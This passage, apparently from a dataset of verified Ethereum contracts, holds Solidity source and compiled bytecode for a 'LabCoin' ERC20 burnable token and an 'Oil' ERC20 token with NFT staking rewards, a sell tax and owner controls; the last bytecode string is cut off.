*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract LabCoin is StandardToken, BurnableToken {
string public constant name = "LabCoin";
string public constant symbol = "LAB";
uint8 public constant decimals = 18;
/**
* @param totalSupply The amount of LabCoin available for the whole crowdsale
(i.e presale, ico and team)
*/
function LabCoin(uint totalSupply) public {
totalSupply_ = totalSupply;
balances[msg.sender] = totalSupply;
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806342966c6814610278578063661884631461029b57806370a08231146102f557806395d89b4114610342578063a9059cbb146103d0578063d73dd6231461042a578063dd62ed3e14610484575b600080fd5b34156100ca57600080fd5b6100d26104f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610529565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba61061b565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610625565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109df565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61029960048080359060200190919050506109e4565b005b34156102a657600080fd5b6102db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b36565b604051808215151515815260200191505060405180910390f35b341561030057600080fd5b61032c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc7565b6040518082815260200191505060405180910390f35b341561034d57600080fd5b610355610e0f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039557808201518184015260208101905061037a565b50505050905090810190601f1680156103c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103db57600080fd5b610410600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e48565b604051808215151515815260200191505060405180910390f35b341561043557600080fd5b61046a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611067565b604051808215151515815260200191505060405180910390f35b341561048f57600080fd5b6104da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611263565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f4c6162436f696e0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106af57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073a57600080fd5b61078b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061081e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ef82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3357600080fd5b339050610a87826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ade826001546112ea90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdb565b610c5a83826112ea90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f4c4142000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e8557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ed257600080fd5b610f23826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110f882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112f857fe5b818303905092915050565b600080828401905083811015151561131757fe5b80915050929150505600a165627a7a72305820743df90c1d5271afdbcdfed60d9d32bb60a625a10ed0d730353f539ae87d220f0029
|
{"success": true, "error": null, "results": {}}
| 6,177 |
0xC14E154076DF2FdC68c9DC5664ae39c3ea0fBE17
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// Inspired by Solmate: https://github.com/Rari-Capital/solmate
/// Developed originally by 0xBasset
/// Upgraded by <redacted>
contract Oil {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
address public impl_;
address public ruler;
address public treasury;
address public uniPair;
address public weth;
uint256 public totalSupply;
uint256 public startingTime;
uint256 public baseTax;
uint256 public minSwap;
bool public paused;
bool public swapping;
ERC721Like public habibi;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isMinter;
mapping(uint256 => uint256) public claims;
mapping(address => Staker) internal stakers;
uint256 public sellFee;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
uint256 public doubleBaseTimestamp;
struct Habibi {
uint256 stakedTimestamp;
uint256 tokenId;
}
struct Staker {
Habibi[] habibiz;
uint256 lastClaim;
}
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
function name() external pure returns (string memory) {
return "OIL";
}
function symbol() external pure returns (string memory) {
return "OIL";
}
function decimals() external pure returns (uint8) {
return 18;
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function initialize(address habibi_, address treasury_) external {
require(msg.sender == ruler, "NOT ALLOWED TO RULE");
ruler = msg.sender;
treasury = treasury_;
habibi = ERC721Like(habibi_);
sellFee = 15;
_status = _NOT_ENTERED;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external whenNotPaused returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external whenNotPaused returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {
allowance[from][msg.sender] -= value;
}
_transfer(from, to, value);
return true;
}
/*///////////////////////////////////////////////////////////////
STAKING
//////////////////////////////////////////////////////////////*/
function habibizOfStaker(address _staker) public view returns (uint256[] memory) {
uint256[] memory tokenIds = new uint256[](stakers[_staker].habibiz.length);
for (uint256 i = 0; i < stakers[_staker].habibiz.length; i++) {
tokenIds[i] = stakers[_staker].habibiz[i].tokenId;
}
return tokenIds;
}
function stake(uint256[] calldata _habibiz) external nonReentrant whenNotPaused {
for (uint256 i = 0; i < _habibiz.length; i++) {
require(ERC721Like(habibi).ownerOf(_habibiz[i]) == msg.sender, "At least one Habibi is not owned by you.");
ERC721Like(habibi).transferFrom(msg.sender, address(this), _habibiz[i]);
stakers[msg.sender].habibiz.push(Habibi(block.timestamp, _habibiz[i]));
}
}
function unstakeAll() external nonReentrant whenNotPaused {
uint256 oilRewards = calculateOilRewards(msg.sender);
uint256[] memory tokenIds = habibizOfStaker(msg.sender);
for (uint256 i = 0; i < tokenIds.length; i++) {
ERC721Like(habibi).transferFrom(address(this), msg.sender, tokenIds[i]);
tokenIds[i] = stakers[msg.sender].habibiz[i].tokenId;
}
removeHabibiIdsFromStaker(msg.sender, tokenIds);
stakers[msg.sender].lastClaim = block.timestamp;
_mint(msg.sender, oilRewards);
}
function removeHabibiIdsFromStaker(address _staker, uint256[] memory _tokenIds) internal {
for (uint256 i = 0; i < _tokenIds.length; i++) {
for (uint256 j = 0; j < stakers[_staker].habibiz.length; j++) {
if (_tokenIds[i] == stakers[_staker].habibiz[j].tokenId) {
stakers[_staker].habibiz[j] = stakers[_staker].habibiz[stakers[_staker].habibiz.length - 1];
stakers[_staker].habibiz.pop();
}
}
}
}
function unstakeByIds(uint256[] calldata _tokenIds) external nonReentrant whenNotPaused {
uint256 oilRewards = calculateOilRewards(msg.sender);
for (uint256 i = 0; i < _tokenIds.length; i++) {
bool owned = false;
for (uint256 j = 0; j < stakers[msg.sender].habibiz.length; j++) {
if (stakers[msg.sender].habibiz[j].tokenId == _tokenIds[i]) {
owned = true;
}
}
require(owned, "TOKEN NOT OWNED BY SENDER");
ERC721Like(habibi).transferFrom(address(this), msg.sender, _tokenIds[i]);
}
removeHabibiIdsFromStaker(msg.sender, _tokenIds);
stakers[msg.sender].lastClaim = block.timestamp;
_mint(msg.sender, oilRewards);
}
/*///////////////////////////////////////////////////////////////
CLAIMING
//////////////////////////////////////////////////////////////*/
function claim() external nonReentrant whenNotPaused {
uint256 oil = calculateOilRewards(msg.sender);
if (oil > 0) {
stakers[msg.sender].lastClaim = block.timestamp;
_mint(msg.sender, oil);
} else {
revert("Not enough oil");
}
}
/*///////////////////////////////////////////////////////////////
OIL REWARDS
//////////////////////////////////////////////////////////////*/
function calculateOilRewards(address _staker) public view returns (uint256 oilAmount) {
uint256 balanceBonus = _getBonusPct();
for (uint256 i = 0; i < stakers[_staker].habibiz.length; i++) {
uint256 habibiId = stakers[_staker].habibiz[i].tokenId;
oilAmount =
oilAmount +
calculateOilOfHabibi(
habibiId,
stakers[_staker].lastClaim,
stakers[_staker].habibiz[i].stakedTimestamp,
block.timestamp,
balanceBonus,
doubleBaseTimestamp
);
}
}
function calculateOilOfHabibi(
uint256 _habibiId,
uint256 _lastClaimedTimestamp,
uint256 _stakedTimestamp,
uint256 _currentTimestamp,
uint256 _balanceBonus,
uint256 _doubleBaseTimestamp
) internal pure returns (uint256 oil) {
uint256 bonusPercentage;
uint256 baseOilMultiplier = 1;
uint256 unclaimedTime;
uint256 stakedTime = _currentTimestamp - _stakedTimestamp;
if (_lastClaimedTimestamp < _stakedTimestamp) {
_lastClaimedTimestamp = _stakedTimestamp;
}
unclaimedTime = _currentTimestamp - _lastClaimedTimestamp;
if (stakedTime >= 15 days || _stakedTimestamp <= _doubleBaseTimestamp) {
baseOilMultiplier = 2;
}
if (stakedTime >= 90 days) {
bonusPercentage = 100;
} else {
for (uint256 i = 2; i < 4; i++) {
uint256 timeRequirement = 15 days * i;
if (timeRequirement > 0 && timeRequirement <= stakedTime) {
bonusPercentage = bonusPercentage + 15;
} else {
break;
}
}
}
if (_isAnimated(_habibiId)) {
oil = (unclaimedTime * 2500 ether * baseOilMultiplier) / 1 days;
} else {
bonusPercentage = bonusPercentage + _balanceBonus;
oil = (unclaimedTime * 500 ether * baseOilMultiplier) / 1 days;
}
oil = oil + ((oil * bonusPercentage) / 100);
}
/*///////////////////////////////////////////////////////////////
OIL PRIVILEGE
//////////////////////////////////////////////////////////////*/
function mint(address to, uint256 value) external onlyMinter {
_mint(to, value);
}
function burn(address from, uint256 value) external onlyMinter {
_burn(from, value);
}
/*///////////////////////////////////////////////////////////////
Ruler Function
//////////////////////////////////////////////////////////////*/
function setDoubleBaseTimestamp(uint256 _doubleBaseTimestamp) external onlyRuler {
doubleBaseTimestamp = _doubleBaseTimestamp;
}
function setMinter(address _minter, bool _canMint) external onlyRuler {
isMinter[_minter] = _canMint;
}
function setRuler(address _ruler) external onlyRuler {
ruler = _ruler;
}
function setPaused(bool _paused) external onlyRuler {
paused = _paused;
}
function setHabibiAddress(address _habibiAddress) external onlyRuler {
habibi = ERC721Like(_habibiAddress);
}
function setSellFee(uint256 _fee) external onlyRuler {
sellFee = _fee;
}
/*///////////////////////////////////////////////////////////////
INTERNAL UTILS
//////////////////////////////////////////////////////////////*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
uint256 tax;
if ((to == uniPair || from == uniPair) && !swapping && balanceOf[uniPair] != 0) {
if (to == uniPair) {
tax = (value * sellFee) / 100_000;
if (tax > 0) {
balanceOf[treasury] += tax;
emit Transfer(uniPair, treasury, tax);
}
}
}
balanceOf[from] -= value;
balanceOf[to] += value - tax;
emit Transfer(from, to, value - tax);
}
function _mint(address to, uint256 value) internal {
totalSupply += value;
// This is safe because the sum of all user
// balances can't exceed type(uint256).max!
unchecked {
balanceOf[to] += value;
}
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] -= value;
// This is safe because a user won't ever
// have a balance larger than totalSupply!
unchecked {
totalSupply -= value;
}
emit Transfer(from, address(0), value);
}
function _getBonusPct() internal view returns (uint256 bonus) {
uint256 balance = stakers[msg.sender].habibiz.length;
if (balance < 5) return 0;
if (balance < 10) return 15;
if (balance < 20) return 25;
return 35;
}
function _isAnimated(uint256 _id) internal pure returns (bool animated) {
if (_id == 40) return true;
if (_id == 108) return true;
if (_id == 169) return true;
if (_id == 191) return true;
if (_id == 246) return true;
if (_id == 257) return true;
if (_id == 319) return true;
if (_id == 386) return true;
if (_id == 496) return true;
if (_id == 562) return true;
if (_id == 637) return true;
if (_id == 692) return true;
if (_id == 832) return true;
if (_id == 942) return true;
if (_id == 943) return true;
if (_id == 957) return true;
if (_id == 1100) return true;
if (_id == 1108) return true;
if (_id == 1169) return true;
if (_id == 1178) return true;
if (_id == 1627) return true;
if (_id == 1706) return true;
if (_id == 1843) return true;
if (_id == 1884) return true;
if (_id == 2137) return true;
if (_id == 2158) return true;
if (_id == 2165) return true;
if (_id == 2214) return true;
if (_id == 2232) return true;
if (_id == 2238) return true;
if (_id == 2508) return true;
if (_id == 2629) return true;
if (_id == 2863) return true;
if (_id == 3055) return true;
if (_id == 3073) return true;
if (_id == 3280) return true;
if (_id == 3297) return true;
if (_id == 3322) return true;
if (_id == 3327) return true;
if (_id == 3361) return true;
if (_id == 3411) return true;
if (_id == 3605) return true;
if (_id == 3639) return true;
if (_id == 3774) return true;
if (_id == 4250) return true;
if (_id == 4267) return true;
if (_id == 4302) return true;
if (_id == 4362) return true;
if (_id == 4382) return true;
if (_id == 4397) return true;
if (_id == 4675) return true;
if (_id == 4707) return true;
if (_id == 4863) return true;
return false;
}
/*///////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/
modifier onlyMinter() {
require(isMinter[msg.sender], "FORBIDDEN TO MINT OR BURN");
_;
}
modifier onlyRuler() {
require(msg.sender == ruler, "NOT ALLOWED TO RULE");
_;
}
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface ERC721Like {
function balanceOf(address holder_) external view returns (uint256);
function ownerOf(uint256 id_) external view returns (address);
function walletOfOwner(address _owner) external view returns (uint256[] calldata);
function isApprovedForAll(address operator_, address address_) external view returns (bool);
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface UniPairLike {
function token0() external returns (address);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
|
0x608060405234801561001057600080fd5b50600436106102ad5760003560e01c806348aa19361161017b5780639dc29fac116100d8578063aa271e1a1161008c578063dd62ed3e11610071578063dd62ed3e146105ac578063ed512777146105d7578063fcdbc2c6146105e057600080fd5b8063aa271e1a14610576578063cf456ae71461059957600080fd5b8063a51dd75d116100bd578063a51dd75d14610530578063a888c2cd14610543578063a9059cbb1461056357600080fd5b80639dc29fac1461050a578063a258d99e1461051d57600080fd5b806361d027b31161012f5780637a36e76c116101145780637a36e76c146104d75780638b4cee08146104f757806395d89b41146102b257600080fd5b806361d027b3146104a457806370a08231146104b757600080fd5b80634fa4c5d7116101605780634fa4c5d71461047b57806359cd90311461048e5780635c975abb1461049757600080fd5b806348aa1936146104605780634e71d92d1461047357600080fd5b8063313ce567116102295780633fc8cef3116101dd578063435bb2f9116101c2578063435bb2f914610421578063456a1cf41461043a578063485cc9551461044d57600080fd5b80633fc8cef3146103fb57806340c10f191461040e57600080fd5b806335322f371161020e57806335322f37146103d757806339518b5e146103df5780633f356ba7146103e857600080fd5b8063313ce567146103b557806332972e46146103c457600080fd5b806316c38b3c1161028057806318160ddd1161026557806318160ddd1461038257806323b872dd146103995780632b14ca56146103ac57600080fd5b806316c38b3c1461035d5780631732cded1461037057600080fd5b806306fdde03146102b2578063095ea7b3146102fa5780630d290aee1461031d5780630fbf0a9314610348575b600080fd5b604080518082018252600381527f4f494c0000000000000000000000000000000000000000000000000000000000602082015290516102f1919061230a565b60405180910390f35b61030d6103083660046121f1565b6105e9565b60405190151581526020016102f1565b600054610330906001600160a01b031681565b6040516001600160a01b0390911681526020016102f1565b61035b61035636600461221d565b610655565b005b61035b61036b366004612292565b610955565b60095461030d90610100900460ff1681565b61038b60055481565b6040519081526020016102f1565b61030d6103a736600461217b565b6109b8565b61038b600f5481565b604051601281526020016102f1565b600354610330906001600160a01b031681565b61035b610a7b565b61038b60065481565b61038b6103f6366004612101565b610c99565b600454610330906001600160a01b031681565b61035b61041c3660046121f1565b610d81565b600954610330906201000090046001600160a01b031681565b61035b610448366004612101565b610dee565b61035b61045b366004612142565b610e7e565b61035b61046e36600461221d565b610f51565b61035b611215565b61035b610489366004612101565b61133b565b61038b60085481565b60095461030d9060ff1681565b600254610330906001600160a01b031681565b61038b6104c5366004612101565b600a6020526000908152604090205481565b6104ea6104e5366004612101565b6113c5565b6040516102f191906122c6565b61035b6105053660046122ad565b6114bb565b61035b6105183660046121f1565b611510565b61035b61052b3660046122ad565b611579565b600154610330906001600160a01b031681565b61038b6105513660046122ad565b600d6020526000908152604090205481565b61030d6105713660046121f1565b6115ce565b61030d610584366004612101565b600c6020526000908152604090205460ff1681565b61035b6105a73660046121bc565b61162b565b61038b6105ba366004612142565b600b60209081526000928352604080842090915290825290205481565b61038b60115481565b61038b60075481565b336000818152600b602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106449086815260200190565b60405180910390a350600192915050565b600260105414156106ad5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b600260105560095460ff16156106f85760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b60005b8181101561094b5760095433906201000090046001600160a01b0316636352211e85858581811061072e5761072e612434565b905060200201356040518263ffffffff1660e01b815260040161075391815260200190565b60206040518083038186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a39190612125565b6001600160a01b03161461081f5760405162461bcd60e51b815260206004820152602860248201527f4174206c65617374206f6e6520486162696269206973206e6f74206f776e656460448201527f20627920796f752e00000000000000000000000000000000000000000000000060648201526084016106a4565b6009546201000090046001600160a01b03166323b872dd333086868681811061084a5761084a612434565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e088901b1681526001600160a01b03958616600482015294909316602485015250602090910201356044820152606401600060405180830381600087803b1580156108b957600080fd5b505af11580156108cd573d6000803e3d6000fd5b5050336000908152600e602090815260409182902082518084019093524283529350909150810185858581811061090657610906612434565b60209081029290920135909252835460018181018655600095865294829020845160029092020190815592015191909201555080610943816123ed565b9150506106fb565b5050600160105550565b6001546001600160a01b031633146109a55760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b6009805460ff1916911515919091179055565b60095460009060ff1615610a015760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b6001600160a01b0384166000908152600b6020908152604080832033845290915290205460001914610a66576001600160a01b0384166000908152600b6020908152604080832033845290915281208054849290610a609084906123d6565b90915550505b610a718484846116a6565b5060019392505050565b60026010541415610ace5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106a4565b600260105560095460ff1615610b195760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b6000610b2433610c99565b90506000610b31336113c5565b905060005b8151811015610c6557600960029054906101000a90046001600160a01b03166001600160a01b03166323b872dd3033858581518110610b7757610b77612434565b60209081029190910101516040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b158015610be957600080fd5b505af1158015610bfd573d6000803e3d6000fd5b5050336000908152600e6020526040902080549092508391508110610c2457610c24612434565b906000526020600020906002020160010154828281518110610c4857610c48612434565b602090810291909101015280610c5d816123ed565b915050610b36565b50610c703382611906565b336000818152600e6020526040902042600190910155610c909083611a9e565b50506001601055565b600080610ca4611b0a565b905060005b6001600160a01b0384166000908152600e6020526040902054811015610d7a576001600160a01b0384166000908152600e60205260408120805483908110610cf357610cf3612434565b6000918252602080832060016002909302018201546001600160a01b0389168452600e9091526040909220908101548154929350610d5a9284929086908110610d3e57610d3e612434565b9060005260206000209060020201600001544287601154611b55565b610d64908561237d565b9350508080610d72906123ed565b915050610ca9565b5050919050565b336000908152600c602052604090205460ff16610de05760405162461bcd60e51b815260206004820152601960248201527f464f5242494444454e20544f204d494e54204f52204255524e0000000000000060448201526064016106a4565b610dea8282611a9e565b5050565b6001546001600160a01b03163314610e3e5760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b600980546001600160a01b0390921662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909216919091179055565b6001546001600160a01b03163314610ece5760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811633178255600280546001600160a01b039485169216919091179055600980549390921662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909316929092179055600f8055601055565b60026010541415610fa45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106a4565b600260105560095460ff1615610fef5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b6000610ffa33610c99565b905060005b828110156111b7576000805b336000908152600e60205260409020548110156110a35785858481811061103457611034612434565b90506020020135600e6000336001600160a01b03166001600160a01b03168152602001908152602001600020600001828154811061107457611074612434565b906000526020600020906002020160010154141561109157600191505b8061109b816123ed565b91505061100b565b50806110f15760405162461bcd60e51b815260206004820152601960248201527f544f4b454e204e4f54204f574e45442042592053454e4445520000000000000060448201526064016106a4565b6009546201000090046001600160a01b03166323b872dd303388888781811061111c5761111c612434565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e088901b1681526001600160a01b03958616600482015294909316602485015250602090910201356044820152606401600060405180830381600087803b15801561118b57600080fd5b505af115801561119f573d6000803e3d6000fd5b505050505080806111af906123ed565b915050610fff565b506111f53384848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061190692505050565b336000818152600e602052604090204260019091015561094b9082611a9e565b600260105414156112685760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106a